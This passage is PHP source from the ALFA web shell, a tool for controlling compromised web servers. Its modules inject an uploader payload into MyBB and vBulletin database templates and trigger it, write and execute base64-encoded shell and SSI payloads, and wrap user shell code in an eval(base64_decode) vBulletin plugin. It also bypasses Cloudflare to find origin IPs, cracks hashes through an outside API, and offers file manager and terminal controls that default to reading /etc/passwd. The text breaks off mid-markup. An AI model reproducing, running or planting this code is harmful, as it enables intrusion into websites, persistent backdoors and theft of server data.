\'FFFFFF\', \'tdName\' => \'Password : \', \'inputName\' => \'dbp\', \'id\'=>\'db_pw\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\n \'td5\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Table Prefix : \', \'inputName\' => \'prefix\', \'id\'=>\'db_prefix\',\'inputValue\' => \'mybb_\', \'inputSize\' => \'50\')\n);\ncreate_table($table);\necho $selector;\necho "<p><input type=submit value=\' \'></p></form></center></center>";\nif(isset($_POST[\'alfa6\'])) {\n$dbu = $_POST[\'alfa6\'];\n$dbn = $_POST[\'alfa7\'];\n$dbp = $_POST[\'alfa8\'];\n$dbh = $_POST[\'alfa9\'];\n$prefix = $_POST[\'alfa10\'];\n$method = $_POST[\'alfa4\'];\n$shellCode = "{\\${".ALFA_UPLOADER."}}";\n$newinshell = str_replace("\'","\\\'",$shellCode);\nif (!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($newinshell)){\n$conn = mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_error($conn));\n$inject = "select template from {$prefix}templates where  title= \'calendar\'";\n$result = mysqli_query($conn, $inject) or die (mysqli_error($conn));\n$GetTemp = mysqli_fetch_assoc($result);\n$saveDate = $GetTemp[\'template\'];\n$repsave = str_replace($shellCode,"",$saveDate);\n$repsave = str_replace("\'","\\\'",$repsave);\n$createShell = "update {$prefix}templates SET template= \'".$newinshell.$repsave."\' where title = \'calendar\'";\n$result2 = mysqli_query($conn,$createShell) or die (mysqli_error($conn));\n$geturl = "select value from {$prefix}settings where name= \'bburl\'";\n$findurl = mysqli_query($conn,$geturl) or die (mysqli_error($conn));\n$rowb = mysqli_fetch_assoc($findurl);\n$furl = $rowb[\'value\'];\n$realurl = parse_url($furl,PHP_URL_HOST);\n$realpath = parse_url($furl,PHP_URL_PATH);\n$res = false;\n$AlfaCurl = new AlfaCURL();\nif (extension_loaded(\'sockets\') && function_exists(\'fsockopen\') && $method == \'auto\' ){\nif ($fsock = @fsockopen($realurl, 80, $errno, $errstr, 10)){\n@fputs($fsock, "GET $realpath/calendar.php HTTP/1.1\\r\\n");\n@fputs($fsock, "HOST: $realurl\\r\\n");\n@fputs($fsock, "Connection: close\\r\\n\\r\\n");\n$check = fgets($fsock);\nif(preg_match("/200 OK/i",$check)){\n$repairdbtemp = "update {$prefix}templates SET template= \'$repsave\' where title = \'calendar\'";\n$clear = mysqli_query($conn,$repairdbtemp) or die (mysqli_error($conn));$res = true;}\n@fclose($fsock);}}elseif(function_exists(\'curl_version\') && $method == \'auto\'){\n$AlfaCurl->Send($realurl.$realpath."/calendar.php");\n$res = true;\n}\nif($res){\n$ff = \'http://\'.$realurl.$realpath."/solevisible.php";\noutput($ff);\n}else{\n$ff = \'http://\'.$realurl.$realpath."/calendar.php";\n$fff = \'http://\'.$realurl.$realpath."/solevisible.php";\necho "<br><pre id=\'strOutput\' style=\'margin-top:5px\' class=\'ml1\'><br><center><b><font color=\'#FFFFFF\'>Please Go To Target => </font><a href=\'".$ff."\' target=\'_blank\'>".$ff."</a><br/><font color=\'#FFFFFF\'>And Go To => </font><a href=\'".$fff."\' target=\'_blank\'>".$fff."</a></b></center><br><br>";\n}}}}\nif(isset($_POST[\'alfa3\']) && $_POST[\'alfa3\']== \'vb\'){\nAlfaNum(1,2,7,9,10);\necho __pre().\'<p><div class="txtfont_header">| vbulletin |</div></p><p>\'.getConfigHtml(\'vb\').\'</p><form name="frm" method="POST" onsubmit="g(\\\'ShellInjectors\\\',null,null,this.lo.value,\\\'vb\\\',this.user.value,this.pass.value,this.tab.value,this.db.value,this.method.value); return false;">\';\n$table = array(\'td1\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Host : \', \'inputName\' => \'lo\', \'id\'=>\'db_host\',\'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\n \'td2\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'DataBase Name : \', \'inputName\' => \'db\', \'id\'=>\'db_name\',\'inputValue\' => \'\', \'inputSize\' => \'50\'),\n \'td3\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'User Name : \', \'inputName\' => \'user\', \'id\'=>\'db_user\',\'inputValue\' => \'\', \'inputSize\' => \'50\'),\n \'td4\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Password : \', \'inputName\' => \'pass\', \'id\'=>\'db_pw\',\'inputValue\' => \'\', \'inputSize\' => \'50\'),\n \'td5\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Table Prefix : \', \'inputName\' => \'tab\', \'id\'=>\'db_prefix\',\'inputValue\' => \'\', \'inputSize\' => \'50\')\n);\ncreate_table($table);\necho $selector;\necho \'<p><input type="submit" value=" " /></p></form></center>\';\nif(isset($_POST[\'alfa4\'])&&!empty($_POST[\'alfa4\'])){\n$method = $_POST[\'alfa8\'];\n$faq_name = "faq";\n$faq_file = "/faq.php";\n$code = "{\\${".ALFA_UPLOADER."}}{\\${exit()}}&";\n$conn=@mysqli_connect($_POST[\'alfa2\'],$_POST[\'alfa4\'],$_POST[\'alfa5\'],$_POST[\'alfa7\']) or die(@mysqli_connect_error());\n$rec = "select `template` from ".$_POST[\'alfa6\']."template WHERE title =\'".$faq_name."\'";\n$recivedata = @mysqli_query($conn,$rec);\n$getd = @mysqli_fetch_assoc($recivedata);\n$savetoass = $getd[\'template\'];\nif(empty($savetoass)){\n    $faq_name = "header";\n    $faq_file = "/";\n    $rec = "select `template` from ".$_POST[\'alfa6\']."template WHERE title =\'".$faq_name."\'";\n    $recivedata = @mysqli_query($conn,$rec);\n    $getd = @mysqli_fetch_assoc($recivedata);\n    $savetoass = $getd[\'template\'];\n    $code = ALFA_UPLOADER.";";\n}\n$code = str_replace("\'","\\\'",$code);\n$p = "UPDATE ".$_POST[\'alfa6\']."template SET `template`=\'".$code."\' WHERE `title`=\'".$faq_name."\'";\n$ka= @mysqli_query($conn,$p) or die(mysqli_error($conn));\n$geturl = @mysqli_query($conn,"select `value` from ".$_POST[\'alfa6\']."setting WHERE `varname`=\'bburl\'");\n$getval = @mysqli_fetch_assoc($geturl);\n$saveval = $getval[\'value\'];\nif($faq_name == "header"){\n    if(substr($saveval, -5, 5) == "/core"){\n        $saveval = substr($saveval, 0, -5);\n    }\n}\n$realurl = parse_url($saveval,PHP_URL_HOST);\n$realpath = parse_url($saveval,PHP_URL_PATH);\n$res = false;\n$AlfaCurl = new AlfaCURL();\nif(extension_loaded(\'sockets\') && function_exists(\'fsockopen\') && $method == \'auto\'){\nif($fsock = @fsockopen($realurl, 80, $errno, $errstr, 10)){\n@fputs($fsock, "GET $realpath.$faq_file HTTP/1.1\\r\\n");\n@fputs($fsock, "HOST: $realurl\\r\\n");\n@fputs($fsock, "Connection: close\\r\\n\\r\\n");\n$check = fgets($fsock);\nif(preg_match("/200 OK/i",$check)){\n$p1 = "UPDATE ".$_POST[\'alfa6\']."template SET template =\'".mysqli_real_escape_string($conn,$savetoass)."\' WHERE title =\'".$faq_name."\'";\n$ka1= @mysqli_query($conn,$p1) or die(mysqli_error($conn));\n$res = true;\n}\n@fclose($fsock);\n}\n}elseif(function_exists(\'curl_version\') && $method == \'auto\'){\n$AlfaCurl->Send($realurl.$realpath.$faq_file);\n$p1 = "UPDATE ".$_POST[\'alfa6\']."template SET template =\'".mysqli_real_escape_string($conn,$savetoass)."\' WHERE title =\'".$faq_name."\'";\n$ka1= @mysqli_query($conn,$p1) or die(mysqli_error($conn));\n$res = true;\n}\nif($res){\n$ff = \'http://\'.$realurl.$realpath."/solevisible.php";\noutput($ff);\n}else{\n$ff = \'http://\'.$realurl.$realpath.$faq_file;\n$fff = \'http://\'.$realurl.$realpath."/solevisible.php";\necho "<center><p><font color=\\"#FFFFFF\\">First Open This Link => </font><a href=\'".$ff."\' target=\'_blank\'>".$ff."</a><br/><font color=\\"#FFFFFF\\">Second Open This Link => </font><a href=\'".$fff."\' target=\'_blank\'>".$fff."</a></center></p>";}}}\necho \'</div>\';\nalfafooter();\n}\nfunction alfacheckfiletype(){\n    $path = $_POST[\'path\'];\n    $arg = $_POST[\'arg\'];\n    if(@is_file($path.\'/\'.$arg)){\n        echo("file");\n    }else{\n        echo("dir");\n    }\n}\nfunction alfacheckupdate(){\n    if($GLOBALS["DB_NAME"]["cgi_api"]){\n        if(!isset($_COOKIE["alfacgiapi_mode"])&&!isset($_COOKIE["alfacgiapi"])){\n            _alfa_cgicmd("whoami","perl",true);\n            if(strlen(alfaEx("whoami",false,true))>0){\n                __alfa_set_cookie("alfa_canruncmd", "true");\n            }\n        }\n    }\n    if(function_exists("curl_version")){\n        $update = new AlfaCURL();\n        $json = $update->Send("http://solevisible.com/update.json?ver=".__ALFA_VERSION__);\n        $json = @json_decode($json,true);\n        $data = array();\n        if($json){\n            if(!isset($_COOKIE[\'alfa_checkupdate\']) && !empty($json["type"])){\n                if($json["type"] == "update"){\n                    if(__ALFA_VERSION__ != $json[\'version\'] || __ALFA_UPDATE__ != $json[\'version_number\']){\n                        @setcookie("alfa_checkupdate", "1", time()+86400);\n                        $data["content"] = \'<div class="update-holder">\'.$json["content"].\'</div>\';\n                    }\n                }\n            }\n            if(isset($json["ads"]) && !empty($json["ads"])){\n                $data["content"] .= $json["ads"];\n            }\n            if(isset($json["copyright"]) && !empty($json["copyright"])){\n                $data["copyright"] = $json["copyright"];\n            }\n            if(isset($json["solevisible"]) && !empty($json["solevisible"])){\n                $data["solevisible"] = $json["solevisible"];\n            }\n            if(isset($json["code_name"]) && !empty($json["code_name"])){\n                $data["code_name"] = $json["code_name"];\n                $data["version_number"] = __ALFA_VERSION__;\n            }\n            if(isset($json["market"]) && !empty($json["market"])){\n                $data["market"] = $json["market"];\n            }\n            echo @json_encode($data);\n        }\n    }\n}\nfunction alfaWriteTocgiapi($name, $source){\n    $temp = "";\n    $not_api = array("basedir.alfa", "getdir.alfa", "getheader.alfa");\n    if(in_array($name, $not_api)){\n        $temp = ALFA_TEMPDIR;\n        if($temp){\n            @chdir($temp);\n        }\n    }else{\n        alfaCreateParentFolder();\n        @chdir($GLOBALS[\'home_cwd\'] . "/" . __Cavdar59_DATA_FOLDER__);\n    }\n    @mkdir(\'alfacgiapi\',0755);\n    __write_file("alfacgiapi/".$name, __get_resource($source));\n    @chmod("alfacgiapi/".$name, 0755);\n    return $temp;\n}\nfunction alfacheckcgi(){if(strlen(alfaEx("id",false,true,true))>0)echo("ok");else echo("no");}\nfunction alfaupdateheader(){\n    if(!isset($_COOKIE["updateheader_data"])){\n        $bash = "zZRdb9owFIavya849dIGJLK0vVyFNFTohERBgtFdQIRM4hAL40R2UkYp/312gPARqLqbaYnyIfs8x+85r+UvV04qhTOh3JGhMeg3nwbtWnnqecDUoz8+zPGMQBzGEBPBIF4mYcRBpJMlJFjA9I3GMNm+MAvwPXCFRR5OCMiU+pqqGI3ur067W280e/1aeTElCQQk8UJgS/4bGOUzCV6q0usZtojtORUiEhWDeGEENgFrhVJJgpShb8ORZxlBJIAC5WCuNqqH3931A/iRAepahNQLa2Y5+4JJK0ZpOIQrsN8AmdkgAteFmxvY5R8hk45Q1VK5q4YfcZKvjEbqdqsjD+3FID9acBZhn4iinoNS/62olOM5UXqQZZazf7AxvKu+JmB7d/bd/W3FyiDrEJJEUH9LyQTrWEDXKQzhegAuUtpu0RluKqI0PgNONfjjA9CP5phyqUE98dLq/RzU2+NG97ne6vRryFH7wnmlIkkxczbBqtlESGR06s/Nxvix23nahuki/a9exANkvNTbrXq/mWfAjGJJpKNneuMMVVOvWGwoNU4DUAbobponKrQRD5CEhBulbZT4OKq0K9As48UMrGansYoF5Ql0emsLTtEK7PqgLYQSYftljhpwYQ0mC3HvsPDAZseZjxKb+/79jfQ9VcgtyQGOHrFiegT7aguc2ANuRgTUyAWRgiC99XNDtm4Wx7deXrLogLvQt4OYsz07duP8isWUedB/7sOnXbgs9KT2w6CzxW/0fX6baH35ceGu1SnxBw==";\n        $realdir = addslashes(dirname($_SERVER["SCRIPT_FILENAME"]));\n        $tmp_path = alfaWriteTocgiapi("getheader.alfa",$bash);\n        $data = alfaEx("cd \'{$tmp_path}/alfacgiapi\';sh getheader.alfa",false,true,true);\n        if(@is_array(@json_decode($data,true))){\n            __alfa_set_cookie("updateheader_data", __ZW5jb2Rlcg($data));\n            echo $data;\n        }\n    }else{\n        echo __ZGVjb2Rlcg($_COOKIE["updateheader_data"]);\n    }\n}\nfunction alfassiShell(){\nalfahead();\necho \'<div class=header>\';\nalfaCreateParentFolder();\n@chdir($GLOBALS[\'home_cwd\'] . "/" . __Cavdar59_DATA_FOLDER__);\n@mkdir(\'alfa_shtml\',0755);\n@chdir(\'alfa_shtml\');\nalfacgihtaccess(\'shtml\');\n$code = \'rVb9b9s2EP1Xrky22MhsKcu6ptbH0A+vzYbCXeztl6YoZImS2VCkQFJOvCX/+46SrChOnKRBA8ORyOPju3ePR/vPBoOdWIqUZUCVynUWkE9jpaT6TAaD0O9Ma/YvTXMTkPnKUN3OshToRaEC0jslu+9ns49f3kwmfx6PTwkEcEpOSR8uL8FOnoz/+ns8nX35MJ69n7zF+Wc24N14hjEE1niaGlhGiKcXnOATL2lAuIYBj66DKNf03hVdJterRIJs8Q2+C/OPk+kW6kzELXVnOLzjQ03sFJHW58lDSXWwNpOCzawWJuehv6BREvqGGU7DVzyNYEajHKbTY5guKOe+U0/5OlasMMAjkZVRhlS/RsuoHiRhWorYMCkgkcz0IJcJhT78x9IejsRlToUZxlKeMWrFIMROIl+oxzQquBE21AW3SMTDWC+VqmfzA4aRrof//PXSIaciMwsP9vcZ9Dc3C9Zhn3DNZ9hHPCwiU1QHs0X5E7gH8Eck4ODlCxdcd1R94N2HGfGubkO1Ixk1Y07t4+vVcbJOd1jJ7rVRXMaR1WSoKJdR0ut7V61MRmYZpz1giVViO7KdH2qz4nSYMJQkWiGP3jeFo9xCCor2/A3IHEmdERg1Y96V79QlDH2nNsJcJiuQwjIOyLaN9mKZ55FI9vrDFEM05kZgnsWSS/Tgjlv9EYg4E2fYAVAWNGXnBbdRoZ+wZejHiEnxZXEY+qkUBtYgz1/G8eEhCS/hDlfCpe/YaEsbFzprFAvbPod+2WDaZhSQ/QOCmcWcxcijqcAeFcs9y75SLSBxqbRUo0IyC+JVZEaKJh4Jx2LJlLQaABOpbAngJs68wwHTwkIEBJFb2KYaI6t6A7rz64tXr9/+7jViFIrWR7lQdmuxtEfbqUbttFOJVX/f0u5xmWK/e2Smb+rqAh470HUT2JJrTchmjLXOBKJWEwTOWWIWATlw3R/QGVIlFGuKlrDCVI23YTGP4rNMyVIkg0aW2jzezZ57/31QNcUbEt9sdY3E8w2H1QWwhUXK0Fi6TXUejn4Uc1143W8EUDnk1CwkJoKnwuqsy3nOjD0t2LGuj4atLBNFacCsCkzV0AsMrwt01EjRBJOwge/G17DtzXBSCgR0LIFbPt8o/WaCJ1SX3HQyu3lgLLFI0ahzgukv1E2OKiSNVfwZQZU8t4/PSXP9XNAY4jwJdrGc1T3krHHwaql8AX5r129zKl5ij3TqpKCqarIaUSBlnOoHz2V1RT7Srt/JpfXdX9m0Rny6Wf9h9LxKFHrYjkwZcexGMS8T2h91KvyQdQup7/Du0gLf69wjt9KwCnySa7flNUX0BxLYtrTSL7X0oJEk2EVNrJj1yuonaNf+T3Z9I/WtfTrmv9WuHXul2ovK/tz6Hw==\';\n@__write_file(\'alfa_ssi.shtml\',__get_resource($code));\n@chmod("alfa_ssi.shtml",0755);\necho AlfaiFrameCreator(\'alfa_shtml/alfa_ssi.shtml\');\necho \'</div>\';\nalfafooter();\n}\nfunction alfacloudflare(){\nalfahead();\nAlfaNum(8,9,10,7,6,5,4,3);\necho "<div class=header><center><br><div class=\'txtfont_header\'>| Cloud Flare ByPasser |</div><br><form action=\'\' onsubmit=\\"g(\'cloudflare\',null,this.url.value,\'>>\'); return false;\\" method=\'post\'>\n<p><div class=\'txtfont\'>Target:</div> <input type=\'text\' size=30 name=\'url\' style=\'text-align:center;\' placeholder=\\"target.com\\"> <input type=\'submit\' name=\'go\' value=\' \' /></p></form></center>";\nif($_POST[\'alfa2\'] && $_POST[\'alfa2\'] == \'>>\'){\n$url = $_POST[\'alfa1\'];\nif(!preg_match(\'/^(https?):\\/\\/(w{3}|w3)\\./i\', $url)){\n$url = preg_replace(\'/^(https?):\\/\\//\', \'\', $url);\n$url = "http://www.".$url;\n}\n$headers = @get_headers($url, 1);\n$server = $headers[\'Server\'];\n$subs = array(\'owa.\',\'2tty.\',\'m.\',\'gw.\',\'mx1.\',\'store.\',\'1\',\'2\',\'vb.\',\'news.\',\'download.\',\'video\',\'cpanel.\', \'ftp.\', \'server1.\', \'cdn.\', \'cdn2.\', \'ns.\', \'ns3.\', \'mail.\', \'webmail.\', \'direct.\', \'direct-connect.\', \'record.\', \'ssl.\', \'dns.\', \'help.\', \'blog.\', \'irc.\', \'forum.\', \'dl.\', \'my.\', \'cp.\', \'portal.\', \'kb.\', \'support.\',\'search.\', \'docs.\', \'files.\', \'accounts.\', \'secure.\', \'register.\', \'apps.\', \'beta.\', \'demo.\', \'smtp.\', \'ns2.\', \'ns1.\', \'server.\', \'shop.\', \'host.\', \'web.\', \'cloud.\', \'api.\', \'exchange.\', \'app.\', \'vps.\', \'owa.\', \'sat.\', \'bbs.\', \'movie.\', \'music.\', \'art.\', \'fusion.\', \'maps.\', \'forums.\', \'acc.\', \'cc.\', \'dev.\', \'ww42.\', \'wiki.\', \'clients.\', \'client.\',\'books.\',\'answers.\',\'service.\',\'groups.\',\'images.\',\'upload.\',\'up.\',\'tube.\',\'users.\',\'admin.\',\'administrator.\',\'private.\',\'design.\',\'whmcs.\',\'wp.\',\'wordpress.\',\'joomla.\',\'vbulletin.\',\'test.\',\'developer.\',\'panel.\',\'contact.\');\nif(preg_match(\'/^(https?):\\/\\/(w{3}|w3)\\./i\', $url, $matches)){\nif($matches[2] != \'www\'){$url = preg_replace(\'/^(https?):\\/\\//\', \'\', $url);}else{\n$url = explode($matches[0], $url);\n$url = $url[1];}}\nif(is_array($server))$server = $server[0];\necho __pre();\nif(preg_match(\'/cloudflare/i\', $server))\necho "\\n[+] CloudFlare detected: {$server}\\n<br>";\nelse\necho "\\n[+] CloudFlare wasn\'t detected, proceeding anyway.\\n";\necho \'[+] CloudFlare IP: \' . is_ipv4(gethostbyname($url)) . "\\n\\n<br><br>";\necho "[+] Searching for more IP addresses.\\n\\n<br><br>";\nfor($x=0;$x<count($subs);$x++){\n$site = $subs[$x] . $url;\n$ip = is_ipv4(gethostbyname($site));\nif($ip == \'(Null)\')\ncontinue;\necho "Trying {$site}: {$ip}\\n<br>";\n}\necho "\\n[+] Finished.\\n<br>";\n}\necho \'</div>\';\nalfafooter();\n}\nfunction is_ipv4($ip){\nreturn filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) ? $ip : \'(Null)\';\n}\nfunction __alert($s){\necho \'<center>\'.__pre().$s.\'</center>\';\n}\nfunction create_table($data){\necho \'<table border="1">\';\nforeach ($data as $key => $val){\n$array = array();\nforeach($val as $k => $v){\n$array[$k] = $v;\n}\necho "<tr><td><div class=\'tbltxt\'>".$array[\'tdName\']."</div></td><td><input type=\'text\' id=\'".$array[\'id\']."\' name=\'".$array[\'inputName\']."\' ".($array[\'placeholder\']?\'placeholder\':\'value\')."=\'".$array[\'inputValue\']."\' size=\'".$array[\'inputSize\']."\' ".($array[\'disabled\']?\'disabled\':\'\')."></td></tr>";\n}\necho \'</table>\';\n}\nfunction alfaphp2xml(){\nalfahead();\nAlfaNum(8,9,10,7,6,5,4,3);\necho "<div class=header><center><p><div class=\'txtfont_header\'>| Shell For vBulletin |</div></p><form onsubmit=\\"g(\'php2xml\',null,this.code.value,\'>>\'); return false;\\" method=\'post\'>\n<p><br><textarea rows=\'12\' cols=\'70\' type=\'text\' name=\'code\' placeholder=\\"insert your shell code\\"></textarea><br/><br/>\n<input type=\'submit\' name=\'go\' value=\' \' /></p></form></center>";\nif($_POST[\'alfa2\']&&$_POST[\'alfa2\']==\'>>\'){\necho __pre()."<p><center><textarea rows=\'10\' name=\'users\' cols=\'80\'>";\necho \'<?xml version="1.0" encoding="ISO-8859-1"?><plugins><plugin active="1" product="vbulletin"><title>vBulletin</title><hookname>init_startup</hookname><phpcode><![CDATA[if (strpos($_SERVER[\\\'PHP_SELF\\\'],"subscriptions.php")){eval(base64_decode(\\\'\'.__ZW5jb2Rlcg($_POST[\'alfa1\']).\'\\\'));exit;}]]></phpcode></plugin></plugins>\';\necho \'</textarea></center></p>\';\n}\necho \'</center></div>\';\nalfafooter();\n}\nfunction alfacpcrack(){\nalfahead();\necho \'<div class=header><center><p><div class="txtfont_header">| Hash Tools |</div></p><h3><a href=javascript:void(0) onclick="g(\\\'cpcrack\\\',null,\\\'dec\\\')">| DeCrypter | </a><a href=javascript:void(0) onclick="g(\\\'cpcrack\\\',null,\\\'analyzer\\\')">| Hash Analyzer | </a></h3></center>\';\nif($_POST[\'alfa1\']==\'dec\'){\n$algorithms = array(\'md5\'=>\'MD5\',\'md4\'=>\'MD4\',\'sha1\'=>\'SHA1\',\'sha256\'=>\'SHA256\',\'sha384\'=>\'SHA384\',\'sha512\'=>\'SHA512\',\'ntlm\'=>\'NTLM\');\necho \'<center><div class="txtfont_header">| DeCrypter |</div><br><br>\n<form onsubmit="g(\\\'cpcrack\\\',null,\\\'dec\\\',this.md5.value,\\\'>>\\\',this.alg.value); return false;"><div class="txtfont">Decrypt Method:</div> <select name="alg" style="width:100px;">\';\nforeach($algorithms as $key=>$val){echo(\'<option value="\'.$key.\'">\'.$val.\'</option>\');}\necho\'</select><input type="text" placeholder="Hash" name="md5" size="60" id="text" /> <input type="submit" value=" " name="go" /></form></center><br>\';\nif($_POST[\'alfa3\'] == \'>>\'){\n$hash = $_POST[\'alfa2\'];\nif(!empty($hash)){\n$hash_type = $_POST[\'alfa4\'];\n$email = "solevisible@gmail.com";\n$code = "7b9fa79f92c3cd96";\n$target = "https://md5decrypt.net/Api/api.php?hash=".$hash."&hash_type=".$hash_type."&email=".$email."&code=".$code;\n$resp = @file_get_contents($target);\nif($resp==\'\'){\n$get = new AlfaCURL();\n$resp = $get->Send($target);\n}\necho __pre().\'<center>\';\nswitch($resp){\n    case(\'CODE ERREUR : 001\'):echo "<b><font color=\'red\'>You exceeded the 400 allowed request per day</font></b>";break;\n    case(\'CODE ERREUR : 003\'):echo "<b><font color=\'red\'>Your request includes more than 400 hashes.</font></b>";break;\n    case(\'CODE ERREUR : 004\'):echo "<b><font color=\'red\'>The type of hash you provide in the argument hash_type doesn\'t seem to be valid</font></b>";break;\n    case(\'CODE ERREUR : 005\'):echo "<b><font color=\'red\'>The hash you provide doesn\'t seem to match with the type of hash you set.</font></b>";break;\n}\nif(substr($resp,0,4)!=\'CODE\'&&$resp!=\'\'){\necho "<b>Result: <font color=\'green\'>".$resp."</font></b>";\n}elseif(substr($resp,0,4)!=\'CODE\'){\necho "<font color=\'red\'>NoT Found</font><br />";\n}\necho(\'</center>\');\n}\n}\n}\nif($_POST[\'alfa1\']==\'analyzer\'){\necho \'<center><p><div class="txtfont_header">| Hash Analyzer |</div></p>\n<form onsubmit="g(\\\'cpcrack\\\',null,\\\'analyzer\\\',this.hash.value,\\\'>>\\\');return false;">\n<div class="txtfont">Hash: </div> <input type="text" placeholder="Hash" name="hash" size="60" id="text" /> <input type="submit" value=" " name="go" /></form></center><br>\';\nif($_POST[\'alfa3\'] == \'>>\'){\n$hash = $_POST[\'alfa2\'];\nif(!empty($hash)){\n$curl = new AlfaCURL();\n$resp = $curl->Send("https://md5decrypt.net/en/HashFinder/","post","hash={$hash}&crypt=Search");\necho(__pre().\'<center>\');\nif(preg_match(\'#<fieldset class="trouve">(.*?)</fieldset>#\',$resp,$s)){\n    echo(\'<font color="green">\'.$s[1].\'</font>\');\n}else{\n    echo(\'<font color="red">Not Found...!</font>\');\n}\necho(\'</center><br>\');\n}\n}\n}\necho \'</div>\';\nalfafooter();\n}\nfunction alfafooter(){\nif(!isset($_POST[\'ajax\'])){\necho "<table class=\'foot\' width=\'100%\' border=\'0\' cellspacing=\'3\' cellpadding=\'0\' >\n<tr>\n<td width=\'17%\'><form onsubmit=\\"if(this.f.value.trim().length==0)return false;editor(this.f.value,\'mkfile\',\'\',\'\',\'\',\'file\');this.f.value=\'\';return false;\\"><span class=\'footer_text\'>Make File : </span><br><input class=\'dir\' type=\'text\' name=\'f\' value=\'\'> <input type=\'submit\' value=\' \'></form></td>\n<td width=\'21%\'><form onsubmit=\\"g(\'FilesMan\',null,\'mkdir\',this.d.value);this.d.value=\'\';return false;\\"><span class=\'footer_text\'>Make Dir : </span><br><input class=\'dir\' type=\'text\' name=\'d\' value=\' \'> <input type=\'submit\' value=\' \'></form></td>\n<td width=\'22%\'><form onsubmit=\\"g(\'FilesMan\',null,\'delete\',this.del.value);this.del.value=\'\';return false;\\"><span class=\'footer_text\'>Delete : </span><br><input class=\'dir\' type=\'text\' name=\'del\' value=\' \'> <input type=\'submit\' value=\' \'></form></td>\n<td width=\'19%\'><form onsubmit=\\"if(this.f.value.trim().length==0)return false;editor(this.f.value,\'chmod\',\'\',\'\',\'\',\'none\');this.f.value=\'\';return false;\\"><span class=\'footer_text\'>Chmod : </span><br><input class=\'dir\' type=text name=f value=\' \'> <input type=\'submit\' value=\' \'></form></td>\n</tr>\n<tr>\n<td colspan=\'2\'><form onsubmit=\'g(\\"FilesMan\\",this.c.value,\\"\\");return false;\'><span class=\'footer_text\'>Change Dir : </span><br><input class=\'foottable\' id=\'footer_cwd\' type=\'text\' name=\'c\' value=\'".htmlspecialchars($GLOBALS[\'cwd\'])."\'> <input type=\'submit\' value=\' \'></form></td>\n<td colspan=\'2\'><form onsubmit=\\"editor(this.file.value,\'view\',\'\',\'\',\'\',\'file\');return false;\\"><span><span class=\'footer_text\'>Read File : </span></span><br><input class=\'foottable\' type=\'text\' name=\'file\' value=\'/etc/passwd\'> <input type=\'submit\' value=\' \'></form></td>\n</tr>\n<tr>\n<td colspan=\'4\'><form style=\'margin-top: 10px;\' onsubmit=\\"return false;\\" autocomplete=\'off\'><span><span class=\'footer_text\'>Execute :</span><br><button onClick=\'alfaOpenPhpTerminal();return false;\' class=\'foottable alfa_custom_cmd_btn\'><img style=\'width:28px;vertical-align: middle;\' src=\'http://solevisible.com/icons/menu/terminal.svg\'> Terminal</button><br></form></td>\n</tr>\n<tr>\n<td colspan=\'4\'><form onsubmit=\'u(this);return false;\' name=\'footer_form\' method=\'post\' ENCTYPE=\'multipart/form-data\'>\n<input type=\'hidden\' name=\'a\' value=\'FilesMAn\'>\n<input type=\'hidden\' name=\'c\' value=\'" . $GLOBALS[\'cwd\'] ."\'>\n<input type=\'hidden\' name=\'ajax\' value=\'true\'>\n<input type=\'hidden\' name=\'alfa1\' value=\'uploadFile\'>\n<input type=\'hidden\' name=\'charset\' value=\'" . (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\') . "\'>\n<span class=\'footer_text\'>Upload file: </span><span><button id=\'addup\' onclick=\'addnewup();return false;\'><b>+</b></button></span><p id=\'pfooterup\'><label class=\'inputfile\' for=\'footerup\'><span id=\'__fnameup\'></span> <strong>&nbsp;&nbsp;Choose a file</strong></label><input id=\'footerup\' class=\'toolsInp\' type=\'file\' name=\'f[]\' onChange=\'handleup(this,0);\' multiple></p><input type=\'submit\' name=\'submit\' value=\' \'></form><div id=\'alfa-copyright\'><span class=\'copyright\'>[ ./Cavdar59 &copy; 2012-".date(\'Y\')." ]</span><br><</div></td>\n</tr>\n</table>\n</div>\n\n<div id=\'options_window\' style=\'background:rgba(0, 0, 0, 0.69);\'><div class=\'editor-wrapper\'><div class=\'editor-header\'><div class=\'opt-title\'></div><div class=\'editor-controller\'><div class=\'editor-minimize\' onClick=\'editorMinimize(\\"options_window\\");\'></div><div onClick=\'editorClose(\\"options_window\\");\' class=\'close-button\'></div></div></div><div style=\'height:100%;\' class=\'content_options_holder\'><div class=\'options_tab\'></div><div class=\'options_content\' style=\'margin-left:14px;margin-right:30px;background:#000;overflow:auto;\'></div></div></div></div>\n\n<div id=\'database_window\' style=\'background:rgba(0, 0, 0, 0.69);\'><div class=\'editor-wrapper\'><div class=\'editor-header\'><div class=\'opt-title\'>Sql Manager</div><div class=\'editor-controller\'><div class=\'editor-minimize\' onClick=\'editorMinimize(\\"database_window\\");\'></div><div onClick=\'editorClose(\\"database_window\\");\' class=\'close-button\'></div></div></div><div class=\'content_options_holder\' style=\'margin-left:14px;margin-right:30px;background:#000;max-height:90%;\'><div class=\'sql-tabs\'></div><div class=\'sql-contents\' style=\'max-height: 85vh;\'></div></div></div></div>\n\n<div id=\'cgiloader\'><div class=\'editor-wrapper\'><div class=\'editor-header\'><div class=\'opt-title\'></div><div class=\'editor-controller\'><div class=\'editor-minimize\' onClick=\'editorMinimize(\\"cgiloader\\");\'></div><div onClick=\'editorClose(\\"cgiloader\\");\' class=\'close-button\'></div></div></div><div id=\'cgiframe\' style=\'position:relative;margin-left:14px;margin-right:30px;\'><div class=\'terminal-tabs\'></div><div style=\'height:90%;\' class=\'terminal-contents\'></div></div></div></div>\n<div id=\'editor\' style=\'display:none;\'><div class=\'editor-wrapper\'><div class=\'editor-header\'><div class=\'editor-path\'></div><div class=\'editor-controller\'><div class=\'editor-minimize\' onClick=\'editorMinimize(\\"editor\\");\'></div><div onClick=\'editorClose(\\"editor\\");\' class=\'close-button\'></div></div></div><div onclick=\'historyPanelController(this);\' mode=\'visible\' class=\'history-panel-controller\'><<</div><div class=\'editor-explorer\'><div class=\'hheader\'><div class=\'history-clear\' onclick=\'clearEditorHistory();\'>Clear all</div><div 